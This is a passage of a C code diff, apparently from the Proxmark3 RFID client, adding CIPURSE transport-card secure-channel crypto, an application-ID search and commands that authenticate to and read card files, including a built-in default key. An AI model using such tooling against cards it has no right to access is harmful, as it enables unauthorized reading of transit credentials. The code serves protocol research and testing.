CipurseCCalcMACPadded(ctx, buf, buflen, mac);
|
||||
memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH);
|
||||
break;
|
||||
case CPSEncrypted:
|
||||
dstapdu->Lc = srcapdu->Lc + CIPURSE_MIC_LENGTH;
|
||||
dstapdu->Lc += CIPURSE_AES_BLOCK_LENGTH - dstapdu->Lc % CIPURSE_AES_BLOCK_LENGTH + 1; // 1 - SMI
|
||||
if (includeLe)
|
||||
dstapdu->Lc++;
|
||||
|
||||
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
|
||||
CipurseCGenerateMIC(buf, buflen, mac);
|
||||
buf[0] = dstapdu->CLA;
|
||||
buf[1] = dstapdu->INS;
|
||||
buf[2] = dstapdu->P1;
|
||||
buf[3] = dstapdu->P2;
|
||||
memcpy(&buf[4], srcapdu->data, srcapdu->Lc);
|
||||
memcpy(&buf[4 + srcapdu->Lc], mac, CIPURSE_MIC_LENGTH);
|
||||
//PrintAndLogEx(INFO, "data plain[%d]: %s", 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, sprint_hex(buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH));
|
||||
CipurseCChannelEncrypt(ctx, buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, &dstdatabuf[1], &buflen);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw) {
|
||||
uint8_t buf[260] = {0};
|
||||
size_t buflen = 0;
|
||||
uint8_t micdata[260] = {0};
|
||||
size_t micdatalen = 0;
|
||||
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = 0;
|
||||
if (sw != NULL)
|
||||
*sw = 0;
|
||||
|
||||
if (srcdatalen < 2)
|
||||
return;
|
||||
|
||||
srcdatalen -= 2;
|
||||
uint16_t xsw = srcdata[srcdatalen] * 0x0100 + srcdata[srcdatalen + 1];
|
||||
if (sw)
|
||||
*sw = xsw;
|
||||
|
||||
if (isCipurseCChannelSecuritySet(ctx) == false) {
|
||||
memcpy(dstdata, srcdata, srcdatalen);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = srcdatalen;
|
||||
return;
|
||||
}
|
||||
|
||||
switch (ctx->ResponseSecurity) {
|
||||
case CPSNone:
|
||||
break;
|
||||
case CPSPlain:
|
||||
memcpy(buf, srcdata, srcdatalen);
|
||||
buflen = srcdatalen;
|
||||
memcpy(&buf[buflen], &srcdata[srcdatalen], 2);
|
||||
buflen += 2;
|
||||
CipurseCCalcMACPadded(ctx, buf, buflen, NULL);
|
||||
|
||||
memcpy(dstdata, srcdata, srcdatalen);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = srcdatalen;
|
||||
break;
|
||||
case CPSMACed:
|
||||
if (srcdatalen < CIPURSE_MAC_LENGTH)
|
||||
return;
|
||||
|
||||
buflen = srcdatalen - CIPURSE_MAC_LENGTH;
|
||||
memcpy(buf, srcdata, buflen);
|
||||
memcpy(&buf[buflen], &srcdata[srcdatalen], 2);
|
||||
buflen += 2;
|
||||
|
||||
srcdatalen -= CIPURSE_MAC_LENGTH;
|
||||
if (CipurseCCheckMACPadded(ctx, buf, buflen, &srcdata[srcdatalen]) == false) {
|
||||
PrintAndLogEx(WARNING, "APDU MAC is not valid!");
|
||||
}
|
||||
memcpy(dstdata, srcdata, srcdatalen);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = srcdatalen;
|
||||
break;
|
||||
case CPSEncrypted:
|
||||
CipurseCChannelDecrypt(ctx, srcdata, srcdatalen, buf, &buflen);
|
||||
//PrintAndLogEx(INFO, "data plain[%d]: %s", buflen, sprint_hex(buf, buflen));
|
||||
|
||||
micdatalen = buflen - 2 - CIPURSE_MIC_LENGTH;
|
||||
memcpy(micdata, buf, buflen);
|
||||
memcpy(&micdata[micdatalen], &buf[buflen - 2], 2);
|
||||
micdatalen += 2;
|
||||
|
||||
if (CipurseCCheckMIC(micdata, micdatalen, &buf[micdatalen - 2]) == false) {
|
||||
PrintAndLogEx(ERR, "APDU response MIC is not valid!");
|
||||
}
|
||||
|
||||
memcpy(dstdata, buf, micdatalen - 2);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = micdatalen - 2;
|
||||
if (sw)
|
||||
*sw = micdata[micdatalen - 2] * 0x0100 + micdata[micdatalen - 1];
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
86
client/src/cipurse/cipursecrypto.h
Normal file
86
client/src/cipurse/cipursecrypto.h
Normal file
|
@ -0,0 +1,86 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE crypto primitives
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __CIPURSECRYPTO_H__
|
||||
#define __CIPURSECRYPTO_H__
|
||||
|
||||
#include "common.h"
|
||||
#include "iso7816/apduinfo.h" // sAPDU
|
||||
|
||||
#define CIPURSE_KVV_LENGTH 4
|
||||
#define CIPURSE_AES_KEY_LENGTH 16
|
||||
#define CIPURSE_AES_BLOCK_LENGTH 16
|
||||
#define CIPURSE_SECURITY_PARAM_N 6
|
||||
#define CIPURSE_MAC_LENGTH 8
|
||||
#define CIPURSE_MIC_LENGTH 4
|
||||
#define CIPURSE_POLY 0x35b088cce172UL
|
||||
#define ISO9797_M2_PAD_BYTE 0x80
|
||||
|
||||
#define member_size(type, member) sizeof(((type *)0)->member)
|
||||
|
||||
typedef enum {
|
||||
CPSNone,
|
||||
CPSPlain,
|
||||
CPSMACed,
|
||||
CPSEncrypted
|
||||
} CipurseChannelSecurityLevel;
|
||||
|
||||
typedef struct CipurseContextS {
|
||||
uint8_t keyId;
|
||||
uint8_t key[CIPURSE_AES_KEY_LENGTH];
|
||||
|
||||
uint8_t RP[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t rP[CIPURSE_SECURITY_PARAM_N];
|
||||
uint8_t RT[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t rT[CIPURSE_SECURITY_PARAM_N];
|
||||
|
||||
uint8_t k0[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t cP[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t CT[CIPURSE_AES_KEY_LENGTH];
|
||||
|
||||
uint8_t frameKey[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH];
|
||||
|
||||
CipurseChannelSecurityLevel RequestSecurity;
|
||||
CipurseChannelSecurityLevel ResponseSecurity;
|
||||
} CipurseContext;
|
||||
|
||||
uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl);
|
||||
|
||||
void CipurseCClearContext(CipurseContext *ctx);
|
||||
void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key);
|
||||
void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random);
|
||||
void CipurseCSetRandomHost(CipurseContext *ctx);
|
||||
uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent);
|
||||
|
||||
void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata);
|
||||
bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT);
|
||||
|
||||
void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp);
|
||||
bool isCipurseCChannelSecuritySet(CipurseContext *ctx);
|
||||
|
||||
void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen);
|
||||
size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen);
|
||||
|
||||
void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
|
||||
void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
|
||||
bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
|
||||
void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic);
|
||||
bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic);
|
||||
void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt);
|
||||
void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen);
|
||||
void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen);
|
||||
void CipurseCGetKVV(uint8_t *key, uint8_t *kvv);
|
||||
|
||||
void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le);
|
||||
void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw);
|
||||
|
||||
|
||||
#endif /* __CIPURSECRYPTO_H__ */
|
|
@ -33,6 +33,7 @@
|
|||
#include "cmdhftopaz.h" // TOPAZ
|
||||
#include "cmdhffelica.h" // ISO18092 / FeliCa
|
||||
#include "cmdhffido.h" // FIDO authenticators
|
||||
#include "cmdhfcipurse.h" // CIPURSE transport cards
|
||||
#include "cmdhfthinfilm.h" // Thinfilm
|
||||
#include "cmdhflto.h" // LTO-CM
|
||||
#include "cmdhfcryptorf.h" // CryptoRF
|
||||
|
@ -58,9 +59,13 @@ int CmdHFSearch(const char *Cmd) {
|
|||
);
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("v", "verbose", "verbose output"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool verbose = arg_get_lit(ctx, 1);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
int res = PM3_ESOFT;
|
||||
|
@ -89,6 +94,8 @@ int CmdHFSearch(const char *Cmd) {
|
|||
if (infoHF14A(false, false, false) > 0) {
|
||||
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO 14443-A tag") " found\n");
|
||||
res = PM3_SUCCESS;
|
||||
|
||||
infoHF14A4Applications(verbose);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -399,6 +406,7 @@ static command_t CommandTable[] = {
|
|||
{"14b", CmdHF14B, AlwaysAvailable, "{ ISO14443B RFIDs... }"},
|
||||
{"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"},
|
||||
// {"cryptorf", CmdHFCryptoRF, AlwaysAvailable, "{ CryptoRF RFIDs... }"},
|
||||
{"cipurse", CmdHFCipurse, AlwaysAvailable, "{ Cipurse transport Cards... }"},
|
||||
{"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"},
|
||||
{"emrtd", CmdHFeMRTD, AlwaysAvailable, "{ Machine Readable Travel Document... }"},
|
||||
{"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / FeliCa RFIDs... }"},
|
||||
|
|
|
@ -169,6 +169,17 @@ const char *getTagInfo(uint8_t uid) {
|
|||
return manufactureMapping[ARRAYLEN(manufactureMapping) - 1].desc;
|
||||
}
|
||||
|
||||
static const hintAIDListT hintAIDList[] = {
|
||||
// AID, AID len, name, hint - how to use
|
||||
{ "\xA0\x00\x00\x06\x47\x2F\x00\x01", 8, "FIDO", "hf fido" },
|
||||
{ "\xA0\x00\x00\x03\x08\x00\x00\x10\x00\x01\x00", 11, "PIV", "" },
|
||||
{ "\xD2\x76\x00\x01\x24\x01", 8, "OpenPGP", "" },
|
||||
{ "\x31\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (pse)", "hf emv" },
|
||||
{ "\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (ppse)", "hf emv" },
|
||||
{ "\x41\x44\x20\x46\x31", 5, "CIPURSE", "hf cipurse" },
|
||||
{ "\xd2\x76\x00\x00\x85\x01\x00", 7, "desfire", "hf mfdes" },
|
||||
};
|
||||
|
||||
// iso14a apdu input frame length
|
||||
static uint16_t frameLength = 0;
|
||||
uint16_t atsFSC[] = {16, 24, 32, 40, 48, 64, 96, 128, 256};
|
||||
|
@ -2131,6 +2142,57 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
|
|||
return select_status;
|
||||
}
|
||||
|
||||
int infoHF14A4Applications(bool verbose) {
|
||||
bool cardFound[ARRAYLEN(hintAIDList)] = {0};
|
||||
bool ActivateField = true;
|
||||
int found = 0;
|
||||
for (int i = 0; i < ARRAYLEN(hintAIDList); i++) {
|
||||
uint16_t sw = 0;
|
||||
uint8_t result[1024] = {0};
|
||||
size_t resultlen = 0;
|
||||
int res = Iso7816Select(CC_CONTACTLESS, ActivateField, true, (uint8_t *)hintAIDList[i].aid, hintAIDList[i].aid_length, result, sizeof(result), &resultlen, &sw);
|
||||
ActivateField = false;
|
||||
if (res)
|
||||
continue;
|
||||
|
||||
if (sw == 0x9000 || sw == 0x6283 || sw == 0x6285) {
|
||||
if (!found) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "----------------- " _CYAN_("Short AID search") " -----------------");
|
||||
}
|
||||
found++;
|
||||
|
||||
if (sw == 0x9000) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(SUCCESS, "Application " _CYAN_("%s") " ( " _GREEN_("ok") " )", hintAIDList[i].desc);
|
||||
cardFound[i] = true;
|
||||
} else {
|
||||
if (verbose)
|
||||
PrintAndLogEx(WARNING, "Application " _CYAN_("%s") " ( " _RED_("blocked") " )", hintAIDList[i].desc);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "---------------------------------------------------");
|
||||
else
|
||||
PrintAndLogEx(INFO, "Short AID search:");
|
||||
|
||||
if (found >= ARRAYLEN(hintAIDList) - 1) {
|
||||
PrintAndLogEx(HINT, "Hint: card answers to all AID. It maybe the latest revision of plus/desfire/ultralight card.");
|
||||
} else {
|
||||
for (int i = 0; i < ARRAYLEN(hintAIDList); i++) {
|
||||
if (cardFound[i] && strlen(hintAIDList[i].hint))
|
||||
PrintAndLogEx(HINT, "Hint: try " _YELLOW_("%s") " commands", hintAIDList[i].hint);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DropField();
|
||||
return found;
|
||||
}
|
||||
|
||||
static uint16_t get_sw(uint8_t *d, uint8_t n) {
|
||||
if (n < 2) {
|
||||
return 0;
|
||||
|
|
|
@ -22,6 +22,13 @@ typedef struct {
|
|||
const char *desc;
|
||||
} manufactureName;
|
||||
|
||||
typedef struct {
|
||||
const char *aid;
|
||||
const uint8_t aid_length;
|
||||
const char *desc;
|
||||
const char *hint;
|
||||
} hintAIDListT;
|
||||
|
||||
int CmdHF14A(const char *Cmd);
|
||||
int CmdHF14ASniff(const char *Cmd); // used by hf topaz sniff
|
||||
int CmdHF14ASim(const char *Cmd); // used by hf mfu sim
|
||||
|
@ -30,6 +37,7 @@ int CmdHF14ANdefRead(const char *Cmd);
|
|||
int hf14a_getconfig(hf14a_config *config);
|
||||
int hf14a_setconfig(hf14a_config *config, bool verbose);
|
||||
int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search);
|
||||
int infoHF14A4Applications(bool verbose);
|
||||
const char *getTagInfo(uint8_t uid);
|
||||
int Hf14443_4aGetCardData(iso14a_card_select_t *card);
|
||||
int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);
|
||||
|
|
705
client/src/cmdhfcipurse.c
Normal file
705
client/src/cmdhfcipurse.c
Normal file
|
@ -0,0 +1,705 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// High frequency FIDO U2F and FIDO2 contactless authenticators
|
||||
//-----------------------------------------------------------------------------
|
||||
//
|
||||
// JAVA implementation here:
|
||||
//
|
||||
// https://github.com/duychuongvn/cipurse-card-core
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "cmdhffido.h"
|
||||
#include <unistd.h>
|
||||
#include "cmdparser.h" // command_t
|
||||
#include "commonutil.h"
|
||||
#include "comms.h"
|
||||
#include "proxmark3.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "cliparser.h"
|
||||
#include "cmdhfcipurse.h"
|
||||
#include "cipurse/cipursecore.h"
|
||||
#include "cipurse/cipursecrypto.h"
|
||||
#include "ui.h"
|
||||
#include "cmdhf14a.h"
|
||||
#include "cmdtrace.h"
|
||||
#include "util.h"
|
||||
#include "fileutils.h" // laodFileJSONroot
|
||||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
static int CmdHFCipurseInfo(const char *Cmd) {
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse info",
|
||||
"Get info from cipurse tags",
|
||||
"hf cipurse info");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
CLIParserFree(ctx);
|
||||
|
||||
// info about 14a part
|
||||
infoHF14A(false, false, false);
|
||||
|
||||
// CIPURSE info
|
||||
PrintAndLogEx(INFO, "-----------" _CYAN_("CIPURSE Info") "---------------------------------");
|
||||
SetAPDULogging(false);
|
||||
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
|
||||
if (res) {
|
||||
DropField();
|
||||
return res;
|
||||
}
|
||||
|
||||
if (sw != 0x9000) {
|
||||
if (sw)
|
||||
PrintAndLogEx(INFO, "Not a CIPURSE card! APDU response: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff));
|
||||
else
|
||||
PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000.");
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "Cipurse card: " _GREEN_("OK"));
|
||||
|
||||
res = CIPURSESelectFile(0x2ff7, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
res = CIPURSEReadBinary(0, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
if (len > 0) {
|
||||
PrintAndLogEx(INFO, "Info file: " _GREEN_("OK"));
|
||||
PrintAndLogEx(INFO, "[%d]: %s", len, sprint_hex(buf, len));
|
||||
CIPURSEPrintInfoFile(buf, len);
|
||||
}
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseAuth(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t keyId = 1;
|
||||
uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73};
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse auth",
|
||||
"Authenticate with key ID and key",
|
||||
"hf cipurse auth -> Authenticate with keyID=1 and key = 7373...7373\n"
|
||||
"hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> Authenticate with key\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 16) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
uint8_t kvv[CIPURSE_KVV_LENGTH] = {0};
|
||||
CipurseCGetKVV(key, kvv);
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Key id: %d key: %s KVV: %s", keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH));
|
||||
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
|
||||
if (verbose == false) {
|
||||
if (bres)
|
||||
PrintAndLogEx(INFO, "Authentication " _GREEN_("OK"));
|
||||
else
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
}
|
||||
|
||||
DropField();
|
||||
return bres ? PM3_SUCCESS : PM3_ESOFT;
|
||||
}
|
||||
|
||||
static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, size_t sreqid, size_t srespid, uint8_t *key, CipurseChannelSecurityLevel *sreq, CipurseChannelSecurityLevel *sresp) {
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, keyid, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 16) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
*sreq = CPSMACed;
|
||||
*sresp = CPSMACed;
|
||||
|
||||
char cdata[250] = {0};
|
||||
int cdatalen = sizeof(cdata);
|
||||
cdatalen--; // for trailer 0x00
|
||||
CLIGetStrWithReturn(ctx, sreqid, (uint8_t *)cdata, &cdatalen);
|
||||
if (cdatalen) {
|
||||
str_lower(cdata);
|
||||
if (strcmp(cdata, "plain") == 0)
|
||||
*sreq = CPSPlain;
|
||||
else if (strcmp(cdata, "mac") == 0)
|
||||
*sreq = CPSMACed;
|
||||
else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0)
|
||||
*sreq = CPSEncrypted;
|
||||
else {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode.");
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
cdatalen = sizeof(cdata);
|
||||
memset(cdata, 0, cdatalen);
|
||||
cdatalen--; // for trailer 0x00
|
||||
CLIGetStrWithReturn(ctx, srespid, (uint8_t *)cdata, &cdatalen);
|
||||
if (cdatalen) {
|
||||
str_lower(cdata);
|
||||
if (strcmp(cdata, "plain") == 0)
|
||||
*sresp = CPSPlain;
|
||||
else if (strcmp(cdata, "mac") == 0)
|
||||
*sresp = CPSMACed;
|
||||
else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0)
|
||||
*sresp = CPSEncrypted;
|
||||
else {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode.");
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseReadFile(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse read",
|
||||
"Read file by file ID with key ID and key",
|
||||
"hf cipurse read -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n"
|
||||
"hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_int0("o", "offset", "<dec>", "offset for reading data from file"),
|
||||
arg_lit0(NULL, "noauth", "read file without authentication"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
size_t offset = arg_get_int_def(ctx, 6, 0);
|
||||
|
||||
bool noAuth = arg_get_lit(ctx, 7);
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
|
||||
if (noAuth == false) {
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
}
|
||||
|
||||
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
|
||||
|
||||
res = CIPURSEReadBinary(offset, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (len == 0)
|
||||
